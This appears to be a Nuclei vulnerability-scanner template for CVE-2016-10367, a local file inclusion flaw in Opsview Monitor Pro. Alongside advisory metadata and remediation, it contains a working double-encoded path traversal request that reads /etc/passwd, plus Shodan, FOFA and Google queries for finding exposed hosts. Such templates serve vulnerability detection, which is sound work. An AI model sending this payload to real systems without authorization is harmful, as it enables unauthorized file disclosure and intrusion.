id: CVE-2016-10367

info:
  name: Opsview Monitor Pro - Local File Inclusion
  author: 0x_akoko
  severity: high
  description: Opsview Monitor Pro prior to 5.1.0.162300841, prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch is vulnerable to unauthenticated local file inclusion and can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to the latest version of Opsview Monitor Pro to fix the local file inclusion vulnerability.
  reference:
    - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774
    - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10367
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-10367
    cwe-id: CWE-22
    epss-score: 0.50757
    epss-percentile: 0.97895
    cpe: cpe:2.3:a:opsview:opsview:4.5.0:*:*:*:pro:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: opsview
    product: opsview
    shodan-query:
      - title:"Opsview"
      - http.title:"opsview"
    fofa-query: title="opsview"
    google-query: intitle:"opsview"
  tags: cve2016,cve,opsview,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 404
# digest: 4a0a00473045022100bc06669077bcc0f1f03180c647058bb1077c98b1115b7bedc7a24272b35b698802204329ac0b252d9d97bf6dbd20fe978e59dc819077286c1840fb4823b78221d85d:922c64590222798bb761d5b6d8e72950